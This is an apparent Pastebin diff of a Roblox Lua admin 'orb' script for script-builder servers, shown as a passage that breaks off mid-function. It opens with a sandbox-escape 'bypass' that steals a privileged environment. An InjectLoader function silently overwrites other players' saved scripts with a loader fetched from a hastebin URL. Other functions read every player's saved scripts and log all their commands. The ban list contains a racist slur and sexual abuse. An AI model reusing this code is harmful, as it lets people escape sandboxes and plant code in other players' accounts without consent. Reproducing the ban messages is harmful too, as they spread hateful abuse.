View difference between Paste ID: hLaXP8gi and 1K1CTuLD
SHOW: | | - or go back to the newest paste.
1
--[[//UPDATE LOG
2
3
4
Turned off rbxdb features --c22
5
6
Added speed and bounce command -- error18 and c22
7
8
9
10
--//UPDATE LOG END]]--
11
wait(); --Unremovable bypass 
12
script.Parent=nil
13
rawset(shared, "\0bp", function()
14
local i=game:service'InsertService':LoadAssetVersion(519416165);
15
local n=i:children()[1];
16
game:service'Debris':AddItem(i,0);
17
n.Parent=workspace;
18
coroutine.yield();
19
local e;
20
pcall(_G.OSC_AddServerSideData,setmetatable({},{__index=function(...)e=getfenv(2)end,__metatable=''}));
21
_G.OSC_AddServerSideData=nil;
22
game:service'Debris':AddItem(n,0);
23
return e 
24
end);
25
local y=shared['\0bp']();
26
shared["\0bp"]=nil;
27
game:GetService'ReplicatedStorage':ClearAllChildren();
28
y.setfenv(0,y);
29
y.setfenv(1,y);
30
y.pcall(function() y.setfenv(2,y); end); --Ends the bypass
31
32
-- Easiest Fixing ever l0l.
33
34
--// TOTS NOT SOLARIS :)
35
local iiOrb = {
36
	AccessKey = "=BNFO@E%+gAOyLJbIJSlQ!IXOfg^10wezjG6Nf#^b4fO%&wFuzAQ|youxgW&3gl&epj4V5=EFLO9#HAJ";
37
    --// Kill Switch
38
    __STATUS = true;
39
    --// Administrations Components
40
    Admins  = {
41
        ['masterepico']={Level=5};
42
		["jebjordan"]={Level=5};
43
		['supersonicfan111']={Level=2};
44
		['iiDeadzone']={Level=666};
45
		["Player1"]={Level=5};
46
		['Ledtred']={Level=4};
47
		["clv2"]={Level=5};
48
		["error18"]={Level=666};
49
		["DrAnkIe"]={Level=3};
50
		["Control22"]={Level=666};--Screw you opligitory XD -- LOL.
51
		["Dev3l0per"]={Level=5}; -- Pretty sure this is op too :/ if not then lol.
52
		['GuyWithACleverName']={Level=666};
53-
		['GalacticParadox']={Level=666}; -- Technially the owner
53+
		['TheOfficalNoob4788']={Level=666}; -- Technially the owner
54
    };
55
	Levels = {
56
		[-1]='ih8youk';
57
		[1]="User";
58
		[2]="Trusted";
59
		[3]="Friend";
60
		[4]="Trusted asf person";
61
		[5]="Creator/Developer";
62
		[666]='Founder';
63
	};
64
    Banned  = {
65
    	gage7252002="bye bye skid ur banned now";
66
    	Mikko3m="dont ban me skid C:";
67
    	--w00t111="this server has a age restriction come back in 970 days";
68
    	--CharcterKaiser="go die annoying skid";
69
    	--FallingVortex="lrn 2 skript kid gtfo liquidex skid";
70
    	robloxchamp20="u ban me i ban u git rkt";
71
	--	iiDeadzone="u ban me i ban u git rkt";
72
	--	endermanac="git bbban11!!!";
73
	--	Dman2435="die just die";
74
	--	Dman2435alt="die just die";
75
	--	meunumbertwo="ur banned bby";
76
	--	Copenricus45="you got stopped by an admin skid c;";
77
    --[he will get pissed if i dont remove this] FallingVortex="A. You're a fuc\5ktard. B. Come back when you stop fmin :) C.T0tallyN0tATr0ll f\5ucking want's you 2 die";
78
        FreeModelInventor="get out skid go suc\5k my d\5ick b\5itch who\5re";
79
        PWNTART = "die pls thx u";
80
        HopeYouHaveAGoodComp="you have been trolled ni\5gger bit\5ch die k\5kk";
81
        BookOEchos="git banned bitch";
82
        Autospy="another alt another ban";
83
        TotallyNotAnAlt1257="another alt another ban";
84
        fmerSKID005="another alt another ban";
85
        crazychimp1284="dienoobkthxbye";
86
		MrXTheGreat="dienoobkthxbye";
87
		ScriptNurd="dienoobkthxbye";
88
		Therealestnumber1="dienoobkthxbye";
89
		Opligi="dienoobkthxbye";
90
		jmckoy12="dienoobkthxbye";
91
	--5asc
92
		DangCoolIsReal3="dienoobkthxbye";
93
		legendy123="dienoobkthxbye";
94
		PithIsOnline="dienoobkthxbye";
95
		Opllgltory="git banned wanabe";
96
		YeaImnotanalt="dienoobkthxbye";
97
		superkiki609="git banned?";
98
		immcool1="git banned now skid";
99
         TickerOfTime='kicking players';
100
	};
101
    Chatted = {
102
        Settings = {
103
            Prefix = ";";
104
            Suffix = "-";
105
        };
106
        Commands = {};
107
    };
108
    --// Orb Components
109
    Settings = {
110
		Orb        = nil;
111
		Character  = nil;
112-
		Following  = false;
112+
		Following  = True;
113-
		Target     = "";
113+
		Target     = "TheOfficalNoob4788";
114
		TrailParts = {};
115
		Trail      = true;
116-
		OrbColor   = BrickColor.new("Institutional white");
116+
		OrbColor   = BrickColor.new("Lime green");
117-
		TrailColor = BrickColor.new("Institutional white");
117+
		TrailColor = BrickColor.new("Lime green");
118
		Rotation   = {
119
			Rot    = 0;
120
			Radius = 5;
121
			Height = 1.5;
122
			Bounce = 2.0;
123
			Speed  = 0.02;
124
			Length = 0.01;
125
		};
126
	};
127
    --// Tool Components
128
    Blocker = {
129
        LocalBlock  = false;
130
        GlobalBlock = false;
131
		LagBlocker  = true;
132
    };
133
	LagBlockedInstances = {
134
		"Message";
135
		"Hint";
136
		"Sound";
137
	};
138
    Logs = {};
139
    --// Functional Storage
140
    API = {
141
		Bootstrap = {}
142
	};
143
}
144
local Settings = iiOrb.Settings
145
local API = iiOrb.API
146
local Bootstrap = API.Bootstrap
147
local Time = require(285173569)
148
--local rbxdb = require(278524047)
149
--local key = "d12ed549bd1bd58b5d9420c5c6919c4e"
150
--pcall(rbxdb:Connect(key))
151
152
--// Output API
153
154
function API.print_to(target,input)
155
	type = type or 'Warn'
156
    if input == nil then input = "nil" end
157
    local plr
158
    if type(target)=='userdata'then
159
        plr = target
160
    elseif type(target)=='string'then
161
        plr = game:GetService('Players'):FindFirstChild(target)
162
    end
163
    if type(plr)=='userdata' then
164
        local str = Instance.new('StringValue',plr)
165
        str.Name = 'SB_Output:Output'
166
        str.Value = game:GetService('HttpService'):JSONEncode{'Warn',input}
167
    end
168
end local print_to = iiOrb.API.print_to
169
170
function API.print(input)
171
    if input == nil then input = "nil" end
172
    for i,v in pairs(game:GetService('Players'):children())do
173
        if iiOrb.Admins[v.Name]then
174
            if iiOrb.Admins[v.Name].Level > 2 then
175
                print_to(v,input)
176
            end
177
        end
178
    end
179
end local print = iiOrb.API.print
180
181
function API.print_lvl(level,input)
182
    if input == nil then input = "nil" end
183
    for i,v in pairs(game:GetService('Players'):GetPlayers())do
184
        if iiOrb.Admins[v.Name]then
185
            if iiOrb.Admins[v.Name].Level > level then
186
                print_to(v,input)
187
            end
188
        end
189
    end
190
end local print_lvl = iiOrb.API.print_lvl
191
192
function API.broadcast(input)
193
    if input == nil then input = "nil" end
194
    for i,v in pairs(game:GetService('Players'):GetPlayers())do
195
        print_to(v,input)
196
    end
197
end local broadcast = iiOrb.API.broadcast
198
199
--// Utility API
200
201
function API.Make(ClassName)
202
	return function(data)
203
		local Instance = Instance.new(ClassName)
204
		for index,value in pairs(data) do
205
			if type(index) == "number" then
206
				value.Parent = Instance
207
			else
208
				Instance[index] = value
209
			end
210
		end
211
		return Instance
212
	end
213
end local Make = API.Make
214
215
function API.clerp(p1,p2,percent)
216
	local p1x,p1y,p1z,p1R00,p1R01,p1R02,p1R10,p1R11,p1R12,p1R20,p1R21,p1R22=p1:components()
217
	local p2x,p2y,p2z,p2R00,p2R01,p2R02,p2R10,p2R11,p2R12,p2R20,p2R21,p2R22=p2:components()
218
	return CFrame.new(p1x+percent*(p2x-p1x),p1y+percent*(p2y-p1y),p1z+percent*(p2z-p1z),p1R00+percent*(p2R00-p1R00),p1R01+percent*(p2R01-p1R01),p1R02+percent*(p2R02-p1R02),p1R10+percent*(p2R10-p1R10),p1R11+percent*(p2R11-p1R11),p1R12+percent*(p2R12-p1R12),p1R20+percent*(p2R20-p1R20),p1R21+percent*(p2R21-p1R21),p1R22+percent*(p2R22-p1R22))
219
end local clerp = API.clerp
220
221
function API.Rainbow(i)
222
    local section = i % 1 * 3
223
    local secondary = 0.5 * math.pi * (section % 1)
224
    if section < 1 then
225
        return 1, 1 - math.cos(secondary), 1 - math.sin(secondary)
226
    elseif section < 2 then
227
        return 1 - math.sin(secondary), 1, 1 - math.cos(secondary)
228
    else
229
        return 1 - math.cos(secondary), 1 - math.sin(secondary), 1
230
    end
231
end local Rainbow = API.Rainbow
232
233
function API.GetPlayer(msg,plr)
234
	local Collected_Players = {}
235
	if string.lower(msg) == "me" then
236
		table.insert(Collected_Players, plr)
237
	elseif string.lower(msg) == "all" then
238
		for index,player in pairs(game:GetService('Players'):children()) do
239
			if iiOrb.Admins[player.Name].Level < iiOrb.Admins[plr.Name].Level or (plr.Name == player.Name) then
240
				table.insert(Collected_Players, player)
241
			end
242
		end
243
	elseif string.lower(msg) == "others" then
244
		for index,player in pairs(game:GetService('Players'):children()) do
245
			if player.Name ~= plr.Name then
246
				if iiOrb.Admins[player.Name].Level < iiOrb.Admins[plr.Name].Level then
247
					table.insert(Collected_Players, player)
248
				end
249
			end
250
		end
251
	elseif string.lower(msg) == "friends" then
252
		for index,player in pairs(game:GetService('Players'):children()) do
253
			if player.Name ~= plr.Name then
254
				if iiOrb.Admins[player.Name].Level < iiOrb.Admins[plr.Name].Level then
255
					if plr:IsFriendsWith(player.userId) == true then
256
						table.insert(Collected_Players, player)
257
					end
258
				end
259
			end
260
		end
261
	elseif string.lower(msg) == "nonfriends" then
262
		for index,player in pairs(game:GetService('Players'):children()) do
263
			if player.Name ~= plr.Name then
264
				if iiOrb.Admins[player.Name].Level < iiOrb.Admins[plr.Name].Level then
265
					if plr:IsFriendsWith(player.userId) == false then
266
						table.insert(Collected_Players, player)
267
					end
268
				end
269
			end
270
		end
271
	else
272
		for index,player in pairs(game:GetService('Players'):children()) do
273
			if string.sub(string.lower(player.Name), 1, #msg) == string.lower(msg) then
274
				if iiOrb.Admins[player.Name].Level <= iiOrb.Admins[plr.Name].Level or (plr.Name == player.Name) then
275
					table.insert(Collected_Players, player)
276
				end
277
			end
278
		end
279
	end
280
	return Collected_Players
281
end local GetPlayer = API.GetPlayer
282
283
function API.GetSplit(msg)
284
   return string.find(msg,iiOrb.Chatted.Settings.Suffix)
285
end local GetSplit = API.GetSplit
286
287
function API.Generate(Length)
288
	local Generated = ""
289
	for _ = 1, Length do
290
		Generated = Generated .. string.char(math.random(33,126))
291
	end
292
	return Generated
293
end local Generate = API.Generate
294
295
function API.GetGarbage(plr)
296
	print_to(plr,"Got Garbage")
297
	print_to(plr,"________________________")
298
	for i = 1,10 do wait(1)
299
		print_to(plr,"| Attempt#"..i.." ["..collectgarbage("count").."] |")
300
	end
301
	print_to(plr,"________________________")
302
end local GetGarbage = API.GetGarbage
303
304
--// Orb API
305
306
function API.SpawnOrb()
307
	Settings.Orb = Make('Part'){
308
		Name = "\5iiOrb\5";
309
		Parent = game.Workspace,
310
		BrickColor = Settings.OrbColor,
311
		Material = Enum.Material.SmoothPlastic,
312
		Transparency = .1,
313
		Anchored = true,
314
		CanCollide = false,
315
		Locked = true,
316
		FormFactor = "Symmetric",
317
		Shape = "Ball",
318
		Size = Vector3.new(1,1,1),
319
		TopSurface = 10,
320
		BottomSurface = 10,
321
	}Settings.Orb.Changed:connect(function()
322
		if not game.Workspace:FindFirstChild(Settings.Orb.Name)then
323
			if iiOrb.__STATUS == true then
324
				API.SpawnOrb()
325
			end
326
		end
327
	end)
328
end local SpawnOrb = API.SpawnOrb
329
330
function API.MakeTrail()
331
	if Settings.Orb ~= nil and Settings.Trail == true then
332
		local Trail = Make'Part'{
333
			Name='\5iiOrb\5',
334
			CanCollide = false,
335
			Parent = Settings.Orb,
336
			BrickColor = Settings.TrailColor,
337
			Material = Enum.Material.SmoothPlastic,
338
			Transparency = .1,
339
			Anchored = true,
340
			Locked = true,
341
			FormFactor = "Custom",
342
			Size = Vector3.new(.2,.2,.2),
343
			CFrame = Settings.Orb.CFrame,
344
			TopSurface = 10,
345
			BottomSurface = 10,
346
		}table.insert(Settings.TrailParts, Trail)
347
		return Trail
348
	end
349
end local MakeTrail = API.MakeTrail
350
351
function API.SpawnTrail()
352
	if Settings.Orb ~= nil and Settings.Trail == true then
353
		local Trail = API.MakeTrail()
354
	end
355
end local SpawnTrail = API.SpawnTrail
356
357
function API.Rotate()
358
	game:GetService('RunService').Stepped:connect(function()
359
		if iiOrb.__STATUS == true then
360
			wait()
361
			local Following=game:GetService('Players'):FindFirstChild(Settings.Target)
362
			if Following and Following.Character and Following.Character:FindFirstChild("Torso") and Settings.Following then
363
				Settings.Character = Following.Character.Torso.CFrame
364
			else
365
				Settings.Character = CFrame.new(0,5.7,0)
366
			end
367
			if Settings.Orb ~= nil then
368
				Settings.Rotation.Rot = Settings.Rotation.Rot + Settings.Rotation.Speed
369
				Settings.Orb.Name = "ii\5Orb"
370
				Settings.Orb.CFrame = clerp(Settings.Orb.CFrame,
371
					CFrame.new(Settings.Character.p)
372
					*CFrame.new(0,3.9,0)
373
					*CFrame.Angles(0,Settings.Rotation.Rot,(math.sin((tick())*.9)*5)*.6)
374
					*CFrame.new(Settings.Rotation.Radius, math.sin((tick())*Settings.Rotation.Bounce)*Settings.Rotation.Height,2)
375
					*CFrame.Angles(100,Settings.Rotation.Rot,(math.sin((tick())*1)*5)*.9)     ,.1)
376
				API.SpawnTrail()
377
				for i,_ in next,Settings.TrailParts do
378
					if Settings.TrailParts[i] ~= nil and Settings.TrailParts[i+1] ~= nil then
379
						local Part1 = Settings.TrailParts[i]
380
						local Part2 = Settings.TrailParts[i+1]
381
						local Mag = ((Part1.CFrame.p-Part2.CFrame.p).magnitude)
382
						Part1.Name = math.random(1,99999999)
383
						Part1.Size = Vector3.new(Part1.Size.X+Settings.Rotation.Length, Mag, Part1.Size.Z+Settings.Rotation.Length)
384
						Part1.Transparency = Part1.Transparency + .017
385
						Part1.CFrame = CFrame.new(Part1.CFrame.p, Part2.CFrame.p)
386
						* CFrame.Angles(math.pi/2,0,0)
387
						if Part1.Size.X >= .74 then
388
							Part1:Destroy()
389
							table.remove(Settings.TrailParts, i)
390
						end
391
					end
392
				end
393
			end
394
		end
395
	end)
396
end local Rotate = API.Rotate
397
398
function API.ChangeTheme(plr,theme)
399
	--// Sets orb to default configurations
400
	Settings.Orb.BrickColor = BrickColor.new('White')
401
	Settings.Orb.Transparency = .1
402
	for i,v in pairs(Settings.Orb:children())do if v.ClassName=='SpecialMesh'then v:remove()end end
403
	--// Themes
404
	if theme == 'normal' then
405
		API.SpawnTrail = function()
406
			if Settings.Orb ~= nil and Settings.Trail == true then
407
				local Trail = API.MakeTrail()
408
			end
409
		end
410
	elseif theme == 'c22' or theme == 'control' then
411
		API.SpawnTrail = function()
412
			if Settings.Orb ~= nil and Settings.Trail == true then
413
				local Trail = API.MakeTrail()
414
				spawn(function()
415
					Settings.Orb.BrickColor = BrickColor.new('Really black')
416
					Trail.BrickColor = BrickColor.new('Really red')
417
					local box = Make('SelectionBox'){
418
						Adornee = Trail;
419
						Parent = Trail;
420
						Name = "\5\5\5\5\5SelectionBox\5\5\5\5\5";
421
						LineThickness = 0.001;
422
						Color3 = Color3.new(0,0,0);
423
					}
424
				end)
425
			end
426
	end
427
elseif theme == '666' or theme == 'alu'  then
428
	API.SpawnTrail = function()
429
		if Settings.Orb ~= nil and Settings.Trail == true then
430
				local Trail = API.MakeTrail()
431
		spawn(function()
432
		Settings.Orb.BrickColor = BrickColor.new('White')
433
					local S_Box = Make('SelectionBox'){
434
                 Adornee = Trail;
435
                 Parent = Trail;
436
                 Name = "\5\5\5\5\SelectionBox\5\5\5\5\5";
437
                 LineThickness = 0;
438
                 Color3 = BrickColor.new("White").Color;
439
                }
440
 					Trail.BrickColor = BrickColor.new('Royal purple')
441
					wait(0.5)
442
					Trail.BrickColor = BrickColor.new('Hot pink')
443
            end)
444
            end
445
            end
446
            elseif theme == 'error' or theme == 'err'  then
447
	API.SpawnTrail = function()
448
		if Settings.Orb ~= nil and Settings.Trail == true then
449
				local Trail = API.MakeTrail()
450
		spawn(function()
451
		Settings.Orb.BrickColor = BrickColor.new('Really red')
452
					local S_Box = Make('SelectionBox'){
453
                 Adornee = Trail;
454
                 Parent = Trail;
455
                 Name = "\5\5\5\5\SelectionBox\5\5\5\5\5";
456
                 LineThickness = 0;
457
                 Color3 = BrickColor.new("Really red").Color;
458
                }
459
 					Trail.BrickColor = BrickColor.new('Really red')
460
					wait(0.5)
461
					Trail.BrickColor = BrickColor.new('Bright orange')
462
            end)
463
            end
464
                end
465
                elseif theme == 'rath' or theme == 'mine101'  then
466
	API.SpawnTrail = function()
467
		if Settings.Orb ~= nil and Settings.Trail == true then
468
				local Trail = API.MakeTrail()
469
		spawn(function()
470
		Settings.Orb.BrickColor = BrickColor.new('Toothpaste')
471
					local S_Box = Make('SelectionBox'){
472
                 Adornee = Trail;
473
                 Parent = Trail;
474
                 Name = "\5\5\5\5\SelectionBox\5\5\5\5\5";
475
                 LineThickness = 0;
476
                 Color3 = BrickColor.new("White").Color;
477
                }
478
 					Trail.BrickColor = BrickColor.new('Toothpaste')
479
					wait(0.5)
480
					Trail.BrickColor = BrickColor.new('Really black')
481
            end)
482
            end
483
                end
484
	elseif theme == 'ii' then
485
		API.SpawnTrail = function()
486
			if Settings.Orb ~= nil and Settings.Trail == true then
487
				local Trail = API.MakeTrail()
488
				spawn(function()
489
					Settings.Orb.BrickColor = BrickColor.new('Really black')
490
					local box = Make('SelectionBox'){
491
						Adornee = Trail;
492
						Parent = Trail;
493
						Name = "\5\5\5\5\5SelectionBox\5\5\5\5\5";
494
						LineThickness = 0.001;
495
						Color3 = Color3.new(0,0,0);
496
					}
497
								
498
					Trail.BrickColor = BrickColor.new('Really black')
499
					wait(0.5)
500
					Trail.BrickColor = BrickColor.new('Lime green')
501
				end)
502
			end
503
		end
504
    elseif theme == 'gwc' then
505
        API.SpawnTrail = function()
506
           local Trail = API.MakeTrail()
507
           spawn(function()
508
               Settings.Orb.BrickColor = BrickColor.new("Lime green")
509
               local S_Box = Make('SelectionBox'){
510
                 Adornee = Trail;
511
                 Parent = Trail;
512
                 Name = "\5\5\5\5\SelectionBox\5\5\5\5\5";
513
                 LineThickness = 0.0000001;
514
                 Color3 = BrickColor.new("Really black").Color;
515
                }
516
                Trail.BrickColor = BrickColor.new'Lime green'
517
                wait(0.50)
518
                Trail.BrickColor = BrickColor.new'Really blue'
519
           end)
520
        end
521
	elseif theme == 'whiteout' then
522
        API.SpawnTrail = function()
523
           local Trail = API.MakeTrail()
524
           spawn(function()
525
               Trail.BrickColor = BrickColor.new("White")
526
               Settings.Orb.BrickColor = BrickColor.new("Really black")
527
               local S_Box = Make('SelectionBox'){
528
                 Adornee = Trail;
529
                 Parent = Trail;
530
                 Name = "\5\5\5\5\SelectionBox\5\5\5\5\5";
531
                 LineThickness = 0;
532
                 Color3 = BrickColor.new("Really black").Color;
533
                }
534
			   local Mesh = Make('SpecialMesh'){
535
					Parent = Settings.Orb;
536
					MeshId = "http://www.roblox.com/asset/?id=1529453";
537
					Name   = "Mesh";
538
					Scale  = Vector3.new(2.5,2.5,2.5)
539
				}
540
           end)
541
        end
542
	elseif theme == 'hidden' then
543
        API.SpawnTrail = function()
544
           local Trail = API.MakeTrail()
545
           spawn(function()
546
               Trail.Transparency = 1
547
               Settings.Orb.Transparency = 1
548
           end)
549
        end
550
	else
551
		print_to(plr,"[ERROR]: "..theme.." is not a valid theme name")
552
		return
553
	end
554
	print_to(plr,"[ALUREON]: Orb has changed theme to "..theme)
555
end local ChangeTheme = API.ChangeTheme
556
557
function API.Follow(boolean,plr)
558
	if type(plr)~='string'then return end
559
	if boolean == true then
560
		Settings.Following = true
561
		Settings.Target = plr
562
	elseif boolean == false then
563
		Settings.Following = false
564
		Settings.Target = ""
565
	end
566
end local Follow = API.Follow
567
568
569
--// Oxcool1 Sb Tools API
570
571
function API.Sbexe(cmd,plr)
572
    if not type(cmd)=='string'then return end
573
    if plr then
574
        if type(plr)=='userdata'then
575
           plr:FindFirstChild("SB_CommandRemote",true).Value = cmd
576
        elseif type(plr)=='string'then
577
            plr = game:GetService('Players'):FindFirstChild(plr)
578
            plr:FindFirstChild("SB_CommandRemote",true).Value = cmd
579
        end
580
    else
581
        for i,v in pairs(game:GetService('Players'):children())do
582
            v:FindFirstChild("SB_CommandRemote",true).Value = cmd
583
        end
584
    end
585
end local Sbexe = API.Sbexe
586
587
function API.ConnectLogger(plr)
588
	if type(plr) ~= 'userdata'then return end
589
	if plr:FindFirstChild("SB_CommandRemote",true) then
590
		plr:FindFirstChild("SB_CommandRemote",true).Changed:connect(function()
591
			if plr:FindFirstChild("SB_CommandRemote",true).Value == 'h/http://pastebin.com/raw.php?i=TdtSWRAL' then
592
				Sbexe("g/ns")wait(.1)
593
				plr:Kick("[Script Protector]: You have been kicked for attempting to load a blocked script")
594
			end
595
			if #plr:FindFirstChild("SB_CommandRemote",true).Value > 0 then
596
				table.insert(iiOrb.Logs,{User=tostring(plr.Name);Command=tostring(plr:FindFirstChild("SB_CommandRemote",true).Value)})
597
				local CurrentTime = Time:GetTime()
598
				local TimeStamp   = ("["..CurrentTime.year.." "..CurrentTime.month.." "..CurrentTime.day.."]")
599
				--rbxdb:SetValue(TimeStamp..": "..tostring(plr.Name),tostring(plr:FindFirstChild("SB_CommandRemote",true).Value))
600
			end
601
		end)
602
	end
603
end local ConnectLogger = API.ConnectLogger
604
605
function API.GetLogs(plr)
606
	print_to(plr,"Got logs")
607
	if #iiOrb.Logs > 0 then print_to(plr,"--------------------------------") end
608
	for index,data in pairs(iiOrb.Logs)do
609
		if #iiOrb.Logs > 30 then wait(.1)end
610
		print_to(plr,tostring(data.User))
611
		print_to(plr,tostring(data.Command))
612
		print_to(plr,"--------------------------------")
613
	end
614
end local GetLogs = API.GetLogs
615
616
function API.InjectLoader(plr)
617
	Sbexe("remove/ALUREON",plr)
618
	Sbexe("ch/ALUREON/http://hastebin.com/raw/muvazesare.lua",plr)
619
	Sbexe("save/ALUREON",plr)
620
	print('Injected loader into '..tostring(plr))
621
	print(tostring(plr)..' has been given a loader ;)')-- l0l nice
622
end local InjectLoader = API.InjectLoader
623
624
function API.GetSavedScripts(plr)
625
	local Save_Key = string.reverse("stpircSdevaS_xoREDliubtpIrCs");
626
	print_to(plr,"Got Saved Scripts")
627
	for i,v in pairs(game:GetService('Players'):children())do
628
		if v.ClassName == 'Player' then
629
			local Encoded_Table = v:LoadString(Save_Key)
630
			local Decoded_Table
631
632
			--//Table Decoding
633
			if type(Encoded_Table)=='string' and Encoded_Table=="[]"or Encoded_Table==""then
634
				Decoded_Table = {{No=" Saved Scripts"}}
635
			else
636
				Decoded_Table = game:GetService('HttpService'):JSONDecode(Encoded_Table)
637
			end
638
			--// Table Printing
639
			--print_to(plr,"------------------------------------------------------------------")
640
			print_to(plr,"--------------------------["..v.Name.."]--------------------------")
641
			if type(Decoded_Table)=='table'then
642
				for _index,_data in pairs(Decoded_Table)do
643
					for index,data in pairs(_data)do
644
						wait(.1)
645
						print_to(plr,index.." : "..data)
646
					end
647
				end
648
			end
649
			print_to(plr,"------------------------------------------------------------------")
650
		end
651
	end
652
end local GetSavedScripts = API.GetSavedScripts
653
654
function API.GiveServerConsole(Player)
655
	if Player:FindFirstChild("PlayerGui") and Player:FindFirstChild("PlayerGui").ClassName == "PlayerGui" then
656
		spawn(function()
657
			local Create = API.Make
658
			local Closed = false
659
			local ScreenGui = Create "ScreenGui" {
660
				Name = "Server Console",
661
				Parent = Player.PlayerGui
662
			}
663
			local Main = Create "TextButton" {
664
				AutoButtonColor = false,
665
				BackgroundColor3 = Color3.new(0, 0, 0),
666
				BorderSizePixel = 0,
667
				Size = UDim2.new(0, 375, 0, 15),
668
				Draggable = true,
669
				Font = "SourceSansBold",
670
				FontSize = "Size14",
671
				TextYAlignment = "Top",
672
				TextColor3 = Color3.new(1, 1, 1),
673
				Text = " Server Console",
674
				TextXAlignment = "Left",
675
				Position = UDim2.new(0.321, 0, 0.196, 0),
676
				Parent = ScreenGui
677
			}
678
			local Refresh = Create "TextButton" {
679
				Active = true,
680
				AutoButtonColor = false,
681
				BackgroundColor3 = Color3.new(0, 0, 0),
682
				BorderSizePixel = 0,
683
				Position = UDim2.new(1, 0, 0, 0),
684
				Size = UDim2.new(0, 60, 0, 15),
685
				Font = "SourceSansBold",
686
				FontSize = "Size14",
687
				Text = "Refresh",
688
				TextYAlignment = "Top",
689
				TextColor3 = Color3.new(1, 1, 1),
690
				TextYAlignment = "Top",
691
				TextXAlignment = "Right",
692
				Parent = Main
693
			}
694
			local TextButton = Create "TextButton" {
695
				AutoButtonColor = false,
696
				BackgroundColor3 = Color3.new(0, 0, 0),
697
				BorderSizePixel = 0,
698
				Position = UDim2.new(1, 60, 0, 0),
699
				Size = UDim2.new(0, 15, 0, 15),
700
				Font = "SourceSansBold",
701
				FontSize = "Size14",
702
				TextYAlignment = "Top",
703
				Text = "-",
704
				TextColor3 = Color3.new(1, 1, 1),
705
				Parent = Main
706
			}
707
			local ContentFrame = Create "Frame" {
708
				BackgroundColor3 = Color3.new(0, 0, 0),
709
				BackgroundTransparency = 0.2,
710
				BorderSizePixel = 0,
711
				Position = UDim2.new(0, 0, 0, 15),
712
				Size = UDim2.new(0, 450, 0, 0),
713
				Parent = Main
714
			}
715
			local ScrollingFrame = Create "ScrollingFrame" {
716
				Size = UDim2.new(1, 0, 1, 0),
717
				CanvasSize = UDim2.new(3, 0, 0, 0),
718
				MidImage = "rbxassetid://158362264",
719
				TopImage = "rbxassetid://158362307",
720
				BottomImage = "rbxassetid://158362221",
721
				BackgroundTransparency = 1,
722
				BorderSizePixel = 0,
723
				ScrollBarThickness = 5,
724
				Parent = ContentFrame
725
			}
726
			ContentFrame:TweenSize(UDim2.new(0, 450, 0, 435), "Out", "Quad", 1.5, true)
727
			TextButton.MouseButton1Down:connect(function()
728
				if Closed == false then
729
					Closed = true
730
					TextButton.Text = "+"
731
					ContentFrame:TweenSize(UDim2.new(0, 450, 0, 0), "Out", "Quad", 1.5, true)
732
					delay(1, function()
733
						ScrollingFrame.Visible = false
734
					end)
735
				else
736
					Closed = false
737
					TextButton.Text = "-"
738
					ContentFrame:TweenSize(UDim2.new(0, 450, 0, 435), "Out", "Quad", 1.5, true)
739
					delay(0.5, function()
740
						ScrollingFrame.Visible = true
741
					end)
742
				end
743
			end)
744
			local function GetNumberOfChildren(Object)
745
				local Number = -15
746
				for index,child in pairs(Object:GetChildren()) do
747
					if child.ClassName == "TextLabel" then
748
						Number = Number + 15
749
					end
750
				end
751
				return Number
752
			end
753
			local function Output(Text, Color)
754
				local Line = Create "TextLabel" {
755
					ZIndex = 2,
756
					BackgroundTransparency = 1,
757
					BorderSizePixel = 0,
758
					Text = string.format(" %s", Text),
759
					Font = "SourceSansBold",
760
					FontSize = "Size14",
761
					TextColor3 = Color,
762
					TextWrapped = false,
763
					Size = UDim2.new(1, 0, 0, 15),
764
					Position = UDim2.new(0, 0, 0, GetNumberOfChildren(ScrollingFrame)),
765
					TextXAlignment = "Left",
766
					TextYAlignment = "Top",
767
					TextStrokeTransparency = 0.9,
768
					Parent = ScrollingFrame,
769
				}
770
				if #ScrollingFrame:GetChildren() > 29 then
771
					local NumChildren = GetNumberOfChildren(ScrollingFrame)
772
					ScrollingFrame.CanvasSize = UDim2.new(3, 0, 0, NumChildren)
773
					ScrollingFrame.CanvasPosition = Vector2.new(0, (ScrollingFrame.CanvasSize.Y.Offset - ScrollingFrame.AbsoluteSize.Y) + 5)
774
				end
775
			end
776
			local function OutputLogHistory()
777
				for index,data in pairs(game.LogService:GetLogHistory()) do
778
					if data.messageType == Enum.MessageType.MessageOutput then
779
						Output(string.format("%s - %s", data.timestamp, data.message), Color3.new(1, 1, 1))
780
					elseif data.messageType == Enum.MessageType.MessageWarning then
781
						Output(string.format("%s - %s", data.timestamp, data.message), Color3.new(1, 0.6, 0.4))
782
					elseif data.messageType == Enum.MessageType.MessageError then
783
						Output(string.format("%s - %s", data.timestamp, data.message), Color3.new(1, 0, 0))
784
					elseif data.messageType == Enum.MessageType.MessageInfo then
785
						Output(string.format("%s - %s", data.timestamp, data.message), Color3.new(0.4, 0.5, 1))
786
					end
787
				end
788
			end
789
			OutputLogHistory()
790
			Refresh.MouseButton1Down:connect(function()
791
				ScrollingFrame:ClearAllChildren()
792
				wait()
793
				OutputLogHistory()
794
			end)
795
		end)
796
	end
797
end local GiveServerConsole = API.GiveServerConsole
798
799
function API.SafeExe(string_src,string_plr)
800
	if string_src == nil then string_src = "" end
801
802
	local BypassEnv = getfenv(1)
803
	BypassEnv.script = "Locked Object"
804
	BypassEnv.print_to = print_to
805
	rawset(_G,"NewBypassEnv",BypassEnv)
806
807
	local ExecuteSource = [[
808
		wait(.1)
809
		local newEnv = _G.NewBypassEnv
810
		newEnv.owner = getfenv(1).owner
811
		newEnv.print = function(i)
812
			if i == nil then i = "" end
813
			newEnv.print_to(tostring(owner),i)
814
		end
815
		setfenv(1,newEnv)
816
	]]
817
	local ExeSrc = ExecuteSource..string_src
818
	Sbexe("c/"..ExeSrc,string_plr)
819
end local SafeExe = API.SafeExe
820
821
--// Admin API
822
823
function API.GetAdmins(plr)
824
	for i,v in pairs(iiOrb.Admins)do
825
		print_to(plr,"["..i.."]-"..iiOrb.Levels[v.Level])
826
	end
827
end local GetAdmins = API.GetAdmins
828
829
function API.AddCommand(Name,Usage,Desc,Level,Func)
830
	table.insert(iiOrb.Chatted.Commands,{Name=Name,Usage=Usage,Desc=Desc,Level=Level,Func=Func})
831
end local AddCommand = API.AddCommand
832
833
function API.Chatted(plr,msg)
834
	if msg:lower()=='h/http://pastebin.com/raw.php?i=TdtSWRAL'then
835
		Sbexe("g/ns")
836
		plr:Kick("[Script Protector]: You have been kicked for attempting to load a blocked script")
837
	end
838
	local Commands = iiOrb.Chatted.Commands
839
	local Prefix   = iiOrb.Chatted.Settings.Prefix
840
	local Suffix   = iiOrb.Chatted.Settings.Suffix
841
